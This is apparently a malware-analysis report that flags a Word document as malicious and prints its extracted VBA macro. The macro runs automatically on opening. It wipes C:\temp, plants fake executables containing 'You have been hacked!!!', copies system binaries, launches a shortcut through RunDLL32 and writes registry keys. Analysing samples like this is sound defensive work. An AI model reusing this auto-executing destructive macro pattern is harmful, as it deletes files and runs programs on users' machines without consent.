MALICIOUS
410
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample contains a VBA macro that utilizes WScript.Shell to create files in the C:\temp\ directory, including executables like 'Control.exe' and 'googservices.exe'. This behavior strongly suggests the macro is designed to download and execute a second-stage payload. The presence of 'Shell()' and 'CreateObject()' calls, along with a reference to a LOLBin, further supports this malicious intent.
Heuristics 11
-
ClamAV: Doc.Malware.Baddoc-6725278-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Baddoc-6725278-0
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Cmd = "RunDLL32.EXE shell32.dll,ShellExec_RunDLL " Shell (Cmd & MyFile) -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
'access Windows scripting Set myWS = CreateObject("WScript.Shell") 'write registry key -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
MyFile = "C:\Maliciousfiles\emailtools\shortcut.lnk" Cmd = "RunDLL32.EXE shell32.dll,ShellExec_RunDLL " Shell (Cmd & MyFile) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
'access Windows scripting Set myWS = CreateObject("WScript.Shell") 'write registry key -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Sub Sub document_open() Dim row As Long -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3024 bytes |
SHA-256: 60dc4651cb48bf65490a40033804deb63287f4a16fd79ff04141881fd7df5385 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub RegKey(i_RegKey As String, _
i_Value As String, _
Optional i_Type As String = "REG_DWORD")
Dim myWS As Object
'access Windows scripting
Set myWS = CreateObject("WScript.Shell")
'write registry key
myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub
Sub document_open()
Dim row As Long
Dim fileName As String, folder As String
Dim path As Integer
Dim MyFile As String, Cmd As String ' for mail sending
On Error Resume Next
Kill "C:\temp\*.*" ' delete all files in the folder
RmDir "C:\temp\" ' delete folder
On Error GoTo 0
folder = "C:\temp\"
MkDir "c:\temp"
fileName = "Command&Control.txt"
Open folder & fileName For Output As #1
Print #1, "You have been hacked!!!"
Close #1
fileName = "Control.exe"
Open folder & fileName For Output As #1
Print #1, "You have been hacked!!!"
Close #1
fileName = "dns.com"
Open folder & fileName For Output As #1
Print #1, "You have been hacked!!!"
Close #1
fileName = "services.exe"
Open folder & fileName For Output As #1
Print #1, "You have been hacked!!!"
Close #1
fileName = "googservices.exe"
Open folder & fileName For Output As #1
Print #1, "You have been hacked!!!"
Close #1
fileName = "nntp.exe"
Open folder & fileName For Output As #1
Print #1, "You have been hacked!!!"
Close #1
FileCopy "C:\windows\notepad.exe", "C:\temp\Test.exe"
FileCopy "C:\windows\regedit.exe", "C:\temp\regedit.exe"
FileCopy "C:\windows\write.exe", "C:\temp\write.exe"
FileCopy "C:\windows\winhlp32.exe", "C:\temp\winhlp32.exe"
MyFile = "C:\Maliciousfiles\emailtools\shortcut.lnk"
Cmd = "RunDLL32.EXE shell32.dll,ShellExec_RunDLL "
Shell (Cmd & MyFile)
RegKey "HKEY_CURRENT_USER\Software\Adobe\mal", "0"
RegKey "HKEY_CURRENT_USER\Software\Adobe\eytrterd", "0"
RegKey "HKEY_CURRENT_USER\Software\Adobe\asdwer", "0"
RegKey "HKEY_CURRENT_USER\Software\Adobe\CnCcorrupt", "0"
RegKey "HKEY_CURRENT_USER\Software\Adobe\Malwaredefined", "0"
RegKey "HKEY_CURRENT_USER\Software\Adobe\Control4ever", "0"
go.Show
End Sub
Attribute VB_Name = "go"
Attribute VB_Base = "0{4EF3219A-40B0-4A2F-A265-9C4194994603}{F9083AA5-60DB-4245-B165-ACF5AB92CF32}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.